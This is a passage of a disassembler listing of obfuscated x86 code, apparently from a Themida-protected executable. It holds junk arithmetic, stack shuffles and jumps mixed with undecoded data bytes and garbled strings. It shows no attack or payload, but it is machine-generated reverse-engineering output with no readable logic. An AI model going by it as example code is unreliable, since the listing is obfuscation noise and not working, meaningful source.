		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 2
		sub	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_55BB84
; ---------------------------------------------------------------------------
		db 31h
		dd 38E9242Ch
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E2EB:				; CODE XREF: Themida_:00560F4Fj
		push	esi
		mov	esi, 16D448B6h
		sub	esi, 0F1E1716h
		sub	eax, esi
		pop	esi
		jmp	loc_55DFC2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 9786804h, 92E90000h, 83FFFFA7h, 0E94FFFEFh
		dd 0FFFF7F45h
; ---------------------------------------------------------------------------

loc_55E318:				; CODE XREF: Themida_:00564108j
		push	edx
		jmp	loc_5545A7
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 8B662414h, 0C483242Ch, 0EA316602h, 0E9D53166h, 0FFFFD896h
; ---------------------------------------------------------------------------

loc_55E334:				; CODE XREF: Themida_:0055B04Dj
		shl	edi, 8
		add	edi, 10DB6004h
		add	ebx, edi
		pop	edi
		push	esi
		jmp	loc_56680A
; ---------------------------------------------------------------------------

loc_55E346:				; CODE XREF: Themida_:00562D06j
		push	eax
		mov	ah, 0FEh
		xor	bh, ah
		pop	eax
		push	edx
		mov	dh, 4Fh
		shr	dh, 6
		shl	dh, 3
		or	dh, 0D7h
		add	dh, 1
		jmp	loc_55CBE1
; ---------------------------------------------------------------------------
		dd 0D3F2105h, 0A68BE96Fh, 0C681FFFFh, 4, 31B368h, 24148900h
		dd 4BAh, 0FC0AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E382:				; CODE XREF: Themida_:005674C5j
		sub	eax, ebp
		pop	ebp
		add	eax, edi
		add	eax, 7A90295Ah
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555F98
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 7B496804h, 14890000h, 81E28924h, 4C2h, 83ABE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E3B2:				; CODE XREF: Themida_:0055F39Bj
		push	ecx
		push	esi
		mov	esi, 24CF1B0Fh
		mov	ecx, 5576153Eh
		xor	ecx, esi
		pop	esi
		jmp	loc_566326
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4E981h, 0C870000h, 24248B24h, 55240C89h, 0D4549ABDh
		dd 0F272E968h, 0BB53FFFFh, 4, 0FFE7B7E9h, 0EC81ADFFh, 4
		dd 52243489h, 9443DABAh, 94E2811Ah, 0F7634658h,	8EAC1DAh
		dd 0F281D2F7h, 8CEC4C6Eh, 0E95AD689h, 1C2Fh
; ---------------------------------------------------------------------------

loc_55E41C:				; CODE XREF: Themida_:00554A4Aj
		add	ebp, edi
		sub	ebp, 599A6F55h
		mov	edi, [esp]
		push	eax
		push	2705h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_565BEB
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 66h
		dd 958DC14h, 0B8505EF1h, 20B44067h, 0EEE9C129h,	89FFFF76h
		dd 4BD55E2h, 1000000h, 41D5E9EAh, 31590000h, 2434FFDAh
		dd 4C4835Bh, 6BA8C681h,	0EE815EDCh, 350C2FDFh, 0C681D629h
		dd 350C2FDFh, 6BA8EE81h, 1E95EDCh, 68FFFF66h, 0E7h, 54242C89h
		dd 0A64EE9h, 0E5C15F00h, 0F9ED8102h, 81FC13F7h,	0CE2C3h
		dd 0EF4EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E4AE:				; CODE XREF: Themida_:0056233Fj
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		jmp	loc_56519A
; ---------------------------------------------------------------------------

loc_55E4C2:				; CODE XREF: Themida_:0055F016j
		add	esp, 4
		sub	esp, 2
		mov	[esp], ax
		mov	al, 0B4h
		xor	al, 8Ah
		jmp	loc_562436
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 53240C89h, 0F025C0BBh, 6BEB8111h
		dd 0E9C3ABBAh, 4214h, 8324348Bh, 0DAE904C4h, 1000026h
		dd 0C8B5BDDh, 5AFCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E50E:				; CODE XREF: Themida_:0055F5DBj
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5658AC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0FFCD2DE9h, 0E3EB81FFh, 29CF03D4h, 0EC835BD8h
		dd 241C8904h, 0FA5737BBh, 5BD80122h, 4EC815Dh, 89000000h
		dd 0A0BE2434h, 0E935E854h, 0FFFF533Ah
; ---------------------------------------------------------------------------

loc_55E558:				; CODE XREF: Themida_:0055A163j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_553DD7
		push	eax
		jmp	loc_55C0D1
; ---------------------------------------------------------------------------
		dd 31241C33h, 0F4E9241Ch, 0BFFFFFD8h, 25CE0393h, 8904EC83h
		dd 49BD242Ch, 560C986Ch, 173D54BEh, 5EF53135h, 2C8BEF21h
		dd 4C48324h, 0C1FFEF83h, 0BE5606EFh, 863800h, 0FF5D22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E5A5:				; CODE XREF: Themida_:00559577j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	793Eh
		mov	[esp], ecx
		jmp	loc_55978D
; ---------------------------------------------------------------------------

loc_55E5BB:				; CODE XREF: Themida_:005674F9j
		pop	ebp
		inc	ebp
		jmp	loc_561E6B
; ---------------------------------------------------------------------------

loc_55E5C2:				; CODE XREF: Themida_:005622FCj
		and	ecx, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5682FB
; ---------------------------------------------------------------------------
		dd 241C8966h, 516674B7h, 197DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E5E9:				; CODE XREF: Themida_:00554E45j
		mov	[esp], esi
		jmp	loc_556780
; ---------------------------------------------------------------------------

loc_55E5F1:				; CODE XREF: Themida_:00563E4Cj
		mov	esp, [esp]
		push	3884h
		mov	[esp], ebp
		push	64FAh
		jmp	loc_5617B0
; ---------------------------------------------------------------------------
		dw 0DF05h
a_p_svz		db '.p_颇',0
		align 10h

loc_55E610:				; CODE XREF: Themida_:00557576j
		sub	ebx, 2AEC68CCh
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55AD69
; ---------------------------------------------------------------------------

loc_55E620:				; CODE XREF: Themida_:00558DD4j
		add	esp, 4
		push	0
		sub	[esp], dl
		mov	dl, [esp]
		jmp	loc_5530AC
; ---------------------------------------------------------------------------

loc_55E636:				; CODE XREF: Themida_:0055EDEFj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4939h
		mov	[esp], ecx
		mov	ecx, 87976AEh
		push	eax
		mov	eax, 0AB0798Ah
		jmp	loc_553CCB
; ---------------------------------------------------------------------------
aXsE		db ')ÅXéê…',0
		dd 4C78100h, 87000000h,	5D5C243Ch, 0F405F001h, 5E13186Bh
		dd 8B685351h, 5B2B3A2Bh, 0EBC1D3F7h, 7985E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E686:				; CODE XREF: Themida_:00555B8Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	17F6h
		mov	[esp], edx
		push	esi
		jmp	loc_567094
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 8982E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E6AE:				; CODE XREF: Themida_:005608FBj
		pop	edx
		push	edi
		mov	edi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 62585A80h
		sub	edx, esi
		mov	esi, [esp]
		jmp	loc_5534FF
; ---------------------------------------------------------------------------

loc_55E6CD:				; CODE XREF: Themida_:00557AC5j
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	5E05h
		mov	[esp], ecx
		push	2E5h
		mov	[esp], edi
		mov	edi, 30A6979h
		jmp	loc_55C365
; ---------------------------------------------------------------------------
aAGsI0ASwa	db '€ÁGS³›0Ù[€ÁÄéwa',0
		align 10h

loc_55E700:				; CODE XREF: Themida_:00556915j
		push	edx
		jmp	loc_565D34
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 18BF243Ch, 813A6301h, 4ECh, 241C8900h, 0AD1F0ABBh, 4EC8305h
		dd 0BF243C89h, 5BE864BDh, 47C78147h, 0D136AB77h, 21C781E7h
		dd 950B750h, 77E95FFBh,	51FFFF77h, 42474FFh, 0FF4A85E9h
		dd 21685BFFh, 89000060h, 0A3B9240Ch, 4157F650h,	0FF8355E9h
		dd 240489FFh, 0FF9E76E9h, 48B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 6F4603EFh
		or	edi, 67FD0D2Ah
		xor	edi, 6FFF0FEBh
		jmp	loc_5636BB
; ---------------------------------------------------------------------------

loc_55E783:				; CODE XREF: Themida_:0055756Aj
		pop	edi
		pop	edi
		shr	eax, 7
		push	ebx
		push	0FEE090B5h
		pop	ebx
		sub	eax, 5A064A90h
		add	eax, ebx
		add	eax, 5A064A90h
		jmp	loc_562330
; ---------------------------------------------------------------------------
		dd 9C241CF7h, 0FF48FCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E7A9:				; CODE XREF: Themida_:00561F94j
		add	esp, 4
		jmp	loc_55A961
; ---------------------------------------------------------------------------

loc_55E7B1:				; CODE XREF: Themida_:0055E9F1j
		mov	esi, 76BC6808h
		xor	esi, edx
		pop	edx
		push	1EBFh
		mov	[esp], ebx
		push	esi
		mov	esi, 4B3A292Dh
		add	esi, 185406A2h
		jmp	loc_555BC4
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 3EAC71DFh, 2D2C681h,	0F6814C56h, 0FDF536Fh, 0CEC3E946h
		dd 8B66FFFFh, 89532404h, 0BD5557E3h, 62050FB5h,	4502E5C1h
		dd 0FFE182E9h, 0C8B5EFFh, 4C48324h, 0FF9C1CE9h,	0E9DD00FFh
		dd 0FFFFB377h, 0C181D1F7h, 0D2E8BFECh, 8159CF89h, 4ECh
		dd 962AE900h, 0C301FFFFh, 6CC1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E831:				; CODE XREF: Themida_:0055CB39j
		push	433Bh
		mov	[esp], ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 28EF048Ah
		jmp	loc_56588A
; ---------------------------------------------------------------------------
		db 0B5h, 65h, 80h
		dd 0E9501ECDh, 0FFFF490Bh, 76E68h, 24048900h, 749AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E861:				; CODE XREF: Themida_:00553DE5j
		mov	edx, 26791488h
		push	edx
		jmp	loc_560C2E
; ---------------------------------------------------------------------------
		dd 0F706E7C1h, 0F7D7F7DFh, 9BF781DFh, 1396637h,	0C1685FFBh
		dd 8900000Ah, 0A9BF243Ch, 816F4333h, 3C4005F7h,	865E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E896:				; CODE XREF: Themida_:005583E0j
		pop	ebx
		shl	esi, 3
		or	esi, 58A845B1h
		dec	esi
		jmp	loc_556804
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 18E95324h, 81FFFFF0h, 3A2434E9h, 2434FF44h, 4C4815Ah
		dd 81000000h, 4C1h, 240C8700h, 0FF69CDE9h, 88E788FFh, 2434FFFAh
		dd 4C4815Bh, 88000000h,	30585AD1h, 0F1805AD1h, 0B5068C6h
		dd 14890000h, 0FE25B624h, 80C6FEC6h, 0F680E3CEh, 8A61E937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E8FE:				; CODE XREF: Themida_:00561D92j
		pop	esp
		push	5ED6h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_55F023
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 7F316060h, 4640EF81h, 0E951754Ah, 2588h, 0B7C6815Ch
		dd 293E9E49h, 0F883E9D6h, 0BE56FFFFh, 236D0CD1h, 0FF78D7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E93D:				; CODE XREF: Themida_:005530A7j
		push	edx
		jmp	loc_556B85
; ---------------------------------------------------------------------------

loc_55E943:				; CODE XREF: Themida_:005645FFj
		push	0
		sub	[esp], esi
		pop	esi
		inc	esi
		shr	esi, 5
		shr	esi, 4
		xor	esi, 7EDEB3h
		jmp	loc_56140C
; ---------------------------------------------------------------------------

loc_55E95E:				; CODE XREF: Themida_:00562F93j
		inc	bl
		jmp	loc_5671AB
; ---------------------------------------------------------------------------
aSIsbj		db '-‘,Ý›éBj',0
		dw 8900h
		dd 0E189240Ch, 4C181h, 51550000h, 0DC53C6B9h, 53C2BD68h
		dd 1CE968DCh, 59000053h, 8704C483h, 248B2404h, 66E1F624h
		dd 0E9CCB60Fh, 4C89h, 24248Bh, 0E99C2404h, 0FFFF46F9h
		dd 0FF46F4E9h, 0B46855FFh, 5D53906Dh, 5CED814Dh, 0F72E3A52h
		dd 7F581D5h, 899C38ABh,	0EF815DEFh, 3D481831h, 0FFA9D2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E9D5:				; CODE XREF: Themida_:00568D2Fj
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_566F6B
; ---------------------------------------------------------------------------

loc_55E9E8:				; CODE XREF: Themida_:00565CA8j
		mov	[esp], esi
		push	edx
		mov	edx, 655D0654h
		jmp	loc_55E7B1
; ---------------------------------------------------------------------------
		dw 0DB2Dh
		dd 1003B1Fh, 0D1E958C1h, 81FFFF87h, 0B13422EEh,	0E9F5899Dh
		dd 1C0Fh
; ---------------------------------------------------------------------------

loc_55EA10:				; CODE XREF: Themida_:005631A6j
		pop	edx
		jmp	loc_558E9C
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 0E9000000h, 93A8h
; ---------------------------------------------------------------------------

loc_55EA20:				; CODE XREF: Themida_:005621AAj
		mov	ebp, 1B2027A9h
		and	ebp, 619F1C57h
		neg	ebp
		or	ebp, 5452F71h
		jmp	loc_554F5E
; ---------------------------------------------------------------------------
		dd 489665Ch, 4663E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EA42:				; CODE XREF: Themida_:00568D46j
		mov	[esp], ebx
		mov	ebx, 6A714357h
		and	ebx, 2B4151FDh
		jmp	loc_56151A
; ---------------------------------------------------------------------------

loc_55EA55:				; CODE XREF: Themida_:00566EA2j
		shl	edx, 3
		push	eax
		mov	eax, 7A8813FDh
		jmp	loc_567C7B
; ---------------------------------------------------------------------------
		db 0BAh
		align 8
		dd 967AE9h, 52596600h, 0D5E900B6h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EA77:				; CODE XREF: Themida_:0055A49Ej
		sub	esi, 756F2549h
		mov	edi, [esp]
		add	esp, 4
		xor	eax, esi
		jmp	loc_55710F
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 6E072CFBh, 7B868h, 240C8900h, 560AAEB9h, 59CD215Eh
		dd 800ED81h, 0EF015040h, 8CBB535Dh, 0D1431605h,	0ECC381E3h
		dd 179D3F4h, 3C875BDFh,	24248B24h, 34A068h, 243C8900h
		dd 0FF9047E9h, 45D3E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EAD2:				; CODE XREF: Themida_:00554DE2j
		xor	esi, ebx
		xchg	esi, edx
		sub	edx, 7C5A69C8h
		xor	edi, edx
		jmp	loc_5544F8
; ---------------------------------------------------------------------------
		db 29h
		dd 0BD5559C8h, 3BBA1DE7h, 0E2E9E801h, 81FFFFB8h, 6476EFEFh
		dd 309AE905h, 1C890000h, 0E7895724h, 57DE68h, 241C8900h
		dd 4BBh, 0E9DF0100h, 0FFFF6EEDh, 2BB53h, 0DD890000h, 76FB685Bh
		dd 34890000h, 0EDE95024h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EB2F:				; CODE XREF: Themida_:0055CDE3j
		pop	esp
		not	edx
		push	ebp
		mov	ebp, 6DC1778Fh
		add	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 220535D0h
		and	ebp, 1D15626Eh
		jmp	loc_565977
; ---------------------------------------------------------------------------
		dd 0E941C280h, 0FFFFB94Fh, 1632B3B8h, 105405Ch,	0D000000h
		dd 40721DBEh, 0C107E0C1h, 87E908E8h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EB6F:				; CODE XREF: Themida_:00560377j
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_556ED4
		push	dword ptr [edi+1Ch]
		jmp	loc_55BAE3
; ---------------------------------------------------------------------------

loc_55EB91:				; CODE XREF: Themida_:00553BA1j
		push	esi
		push	6A2644ACh
		jmp	loc_555A20
; ---------------------------------------------------------------------------
		dd 8702C083h, 0B9E92404h, 59FFFFB4h, 415AD131h,	497EB850h
		dd 0D0F74FFDh, 0B0F60548h, 0C109C51Fh, 4E9C158h, 1A44BB53h
		dd 0E3C14E30h, 81DBF704h, 9F62A3F3h, 8BD9014Fh,	0C483241Ch
		dd 5E1C104h, 0FF79CFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EBE1:				; CODE XREF: Themida_:00560140j
		push	dword ptr [esp]
		pop	eax
		push	0D2Dh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	28Ch
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	75F755ECh
		pop	eax
		jmp	loc_565C9E
; ---------------------------------------------------------------------------
		db 0D0h, 0E4h, 0E9h
		dd 0FFFFDF6Bh
; ---------------------------------------------------------------------------

loc_55EC24:				; CODE XREF: Themida_:0055BE20j
		push	7A9Bh
		mov	[esp], edx
		push	ebx
		mov	ebx, ecx
		mov	edx, ebx
		pop	ebx
		push	edx
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ecx
		push	edi
		jmp	loc_564C65
; ---------------------------------------------------------------------------
		dw 8966h
		dd 8B66242Ch, 89562414h, 0EC8355E6h, 84D1E904h,	0D0890000h
		dd 8BC1895Ah, 0C4812404h, 4, 6237C681h,	1BE9311Fh, 1000008h
		dd 480BE9C8h, 34FFFFFFh, 0E04FE924h, 0BB53FFFFh, 7E670C8Fh
		dd 815BD901h, 637137C1h, 243C8B10h, 4C481h, 4F2D0000h
		dd 29452152h, 4EC83C8h,	0B9240C89h, 6A570C4h, 2414F751h
		dd 14C18159h, 14BC6C3h,	2434FFC8h, 4C48159h, 0FF000000h
		dd 57592434h, 0C781E789h, 4, 8704C783h,	15C243Ch, 81B951D8h
		dd 0E91CA22Fh, 0FFFFFF8Fh
; ---------------------------------------------------------------------------

loc_55ECE0:				; CODE XREF: Themida_:005648F2j
		inc	eax
		jmp	loc_55837D
; ---------------------------------------------------------------------------
		dw 0E3D0h
		dd 0CBFED3F6h, 0BBB25266h, 2854EB80h, 54C380D3h, 0FFC062E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ECFD:				; CODE XREF: Themida_:0055F3A2j
		pop	edx
		add	edi, 5ECC2174h
		add	edi, ecx
		sub	edi, 5ECC2174h
		add	edi, 6D3535E2h
		jmp	loc_56767B
; ---------------------------------------------------------------------------

loc_55ED17:				; CODE XREF: Themida_:0055A3F3j
		add	esi, 673367B6h
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_562992
; ---------------------------------------------------------------------------

loc_55ED28:				; CODE XREF: Themida_:0055ABEEj
		add	esp, 4
		add	esp, 4
		push	6078h
		mov	[esp], eax
		jmp	loc_561F8A
; ---------------------------------------------------------------------------

loc_55ED3B:				; CODE XREF: Themida_:00563212j
		push	ebp
		mov	ebp, 6D1C1899h
		xor	ebx, ebp
		jmp	loc_564747
; ---------------------------------------------------------------------------

loc_55ED48:				; CODE XREF: Themida_:00553B51j
		sub	ebp, 75C91EFBh
		pop	ebx
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	6A9h
		mov	[esp], esi
		push	ebp
		push	edi
		mov	edi, 9A27D0Eh
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55EE0A
; ---------------------------------------------------------------------------
		dd 5202E8C1h, 0FF9595E9h, 48B66FFh, 3C1D6824h, 34890000h
		dd 0E95E5424h, 3391h, 18D56859h, 4890000h, 4B824h, 0C6290000h
		dd 72A5E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EDA6:				; CODE XREF: Themida_:00562DD1j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	[esp], al
		pushf
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 3ECC0B6h, 0F600EC80h, 80C480DCh, 0FF462FE9h,	1627BDFFh
		dd 0EDC147C2h, 64C2E904h, 34870000h, 28D7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EDDE:				; CODE XREF: Themida_:00568C0Cj
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_55E636
; ---------------------------------------------------------------------------
		dd 0D0285A66h, 2E2C3B04h, 8124148Bh, 4C4h, 0DE5CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EE0A:				; CODE XREF: Themida_:0055ED6Fj
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_557FAB
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 0E0720C24h, 24048B6Ah, 4C481h, 0C050000h, 5F6AE072h
		dd 585EBA52h, 0D58965BEh, 12CD815Ah, 4D455F28h,	149CF581h
		dd 0C5312908h, 582434FFh, 0E904EC83h, 6D0Ch, 0E95BDE89h
		dd 0FFFF60B1h
; ---------------------------------------------------------------------------

loc_55EE5C:				; CODE XREF: Themida_:005604CCj
		pop	esp
		mov	[esp], edi
		mov	edi, ebx
		push	21F8h
		mov	[esp], ebx
		push	7930h
		mov	[esp], edi
		sub	dword ptr [esp], 4276C90h
		pop	ebx
		push	edi
		mov	edi, 0AF85A3Fh
		shl	edi, 5
		jmp	loc_55691A
; ---------------------------------------------------------------------------
		dd 7E7D2068h, 0C7815F47h, 45BC54ACh, 0B2A6EF81h, 0FE8915FEh
		dd 0FF589AE9h, 241C8BFFh, 4C481h, 3C330000h, 243C3124h
		dd 8B243C33h, 8B662424h, 83522404h, 248904ECh, 24048124h
		dd 4, 0E924148Bh, 0FFFF77C5h, 31D2EB8h,	0D0F74839h, 3F8368h
		dd 24048900h, 0E9240487h, 0FFFF8FE6h, 0C381E389h, 4, 4C381h
		dd 0EC830000h, 241C8904h, 42474FFh, 24048F5Bh, 38B4055Ch
		dd 0FB2D7C87h, 50C615Fh, 64D345C8h, 5330E9h, 1C77FF00h
		dd 6658669Dh, 9C240419h, 9628E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EF29:				; CODE XREF: Themida_:0055998Dj
		mov	[esp], eax
		push	edx
		mov	dl, 0DAh
		mov	ah, dl
		mov	edx, [esp]
		push	edx
		jmp	loc_554EC0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC835A24h, 240C8904h, 0C1815954h, 4, 16A4E9h, 0C8B6600h
		dd 238B6824h, 4890000h,	53E08924h, 50ADBE56h, 0E2E92933h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EF6B:				; CODE XREF: Themida_:0056670Cj
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, ebp
		push	edi
		mov	edi, 1B0E6541h
		or	edi, 537E6983h
		not	edi
		shl	edi, 2
		add	edi, 8C5CC4FBh
		jmp	loc_56324F
; ---------------------------------------------------------------------------

loc_55EF8D:				; CODE XREF: Themida_:00563A4Bj
		mov	ch, 6Dh
		and	ch, 0EDh
		push	ebx
		jmp	loc_568010
; ---------------------------------------------------------------------------
		dd 243C895Ch, 4BFh, 0FFF92900h,	0B5E92434h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EFAB:				; CODE XREF: Themida_:00565528j
		pop	ecx
		xor	ecx, ebx
		jmp	loc_557EA3
; ---------------------------------------------------------------------------
		db 1
		dd 0C6815BDEh, 4, 0E9243433h, 0FFFFE1C5h, 0FF40DCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EFC9:				; CODE XREF: Themida_:005582FFj
		add	dh, 0E7h
		sub	dh, 0B5h
		add	bl, dh
		pop	edx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55CD40
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 315AD031h, 30FF66C3h,	0FF40ACE9h, 0DA2959FFh
		dd 27F0C281h, 0E95B00DAh, 3812h, 0E2C1424Ah, 34E95506h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F013:				; CODE XREF: Themida_:0056570Dj
		add	esp, 4
		jmp	loc_55E4C2
; ---------------------------------------------------------------------------

loc_55F01B:				; CODE XREF: Themida_:00555E24j
		shl	ecx, 4
		jmp	loc_560A72
; ---------------------------------------------------------------------------

loc_55F023:				; CODE XREF: Themida_:0055E90Dj
		mov	[esp], ebx
		jmp	loc_55F180
; ---------------------------------------------------------------------------

loc_55F02B:				; CODE XREF: Themida_:00567C7Dj
		pop	eax
		add	edx, 14AE73A7h
		jmp	loc_567711
; ---------------------------------------------------------------------------
		db 5Eh
		dd 6833AA2Dh, 0BA25E949h, 0B850FFFFh, 3ABE0B1Ch, 0FF7F78E9h
		dd 532D2DFFh, 0C109BE07h, 7C5E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F05A:				; CODE XREF: Themida_:005551F6j
		push	eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ebx
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	edx
		push	48EAh
		jmp	loc_55B959
; ---------------------------------------------------------------------------
		db 29h
		dd 0FA69E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F08A:				; CODE XREF: Themida_:0055A254j
		add	eax, 4
		add	eax, 4
		jmp	loc_56624D
; ---------------------------------------------------------------------------

loc_55F097:				; CODE XREF: Themida_:00568A73j
		mov	edx, 2F1D5808h
		jmp	loc_567E66
; ---------------------------------------------------------------------------

loc_55F0A1:				; CODE XREF: Themida_:0055640Bj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		push	dword ptr [esp]
		jmp	loc_55C1C1
; ---------------------------------------------------------------------------
		dd 0FBBA5251h, 420F4A6Ah, 0C106E2C1h, 0DAF708EAh, 1329F281h
		dd 0D18994A3h, 4E9C15Ah, 0F703E1C1h, 7504E9D9h,	0C8B0000h
		dd 8B545124h, 99E9240Ch, 55FFFF88h, 5444E952h, 8B660000h
		dd 0EC81240Ch, 4, 89243C89h, 5531E9E7h,	0C601FFFFh, 582434FFh
		dd 0FF5A71E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F121:				; CODE XREF: Themida_:00568D7Bj
		push	464Dh
		mov	[esp], esi
		jmp	loc_56115B
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 59EB2807h, 10E95066h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F13B:				; CODE XREF: Themida_:0055C372j
		sub	ecx, 2335530Ah
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ecx, 0DF07870Ch
		mov	ebx, ecx
		jmp	loc_55B879
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0E9h
		dd 0FFFF8858h
; ---------------------------------------------------------------------------

loc_55F15C:				; CODE XREF: Themida_:00553745j
		xor	eax, esi
		jmp	loc_568BB2
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BDEh, 4C481h, 7BE90000h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F173:				; CODE XREF: Themida_:005537DDj
		add	esp, 4
		push	ecx
		push	edx
		sub	esp, 4
		jmp	loc_563515
; ---------------------------------------------------------------------------

loc_55F180:				; CODE XREF: Themida_:0055F026j
		push	5AB04D75h
		pop	ebx
		add	ebx, 0B133970h
		not	ebx
		sub	ebx, 9A3C7916h
		mov	eax, ebx
		pop	ebx
		push	edx
		push	ecx
		mov	ecx, 6D9C527Dh
		shl	ecx, 7
		jmp	loc_55F939
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 7AF9B924h, 0E1813164h, 49FD4892h, 7E09C981h,	0D9F7723Bh
		dd 2709BB53h, 0D3F73957h, 504EB81h, 0CB8112B5h,	71A843ADh
		dd 2134B951h, 81490C35h, 0D2CDBE9h, 0E9D1F720h,	0FFFF7E8Ah
; ---------------------------------------------------------------------------

loc_55F1E4:				; CODE XREF: Themida_:0055887Cj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_564FB1
; ---------------------------------------------------------------------------
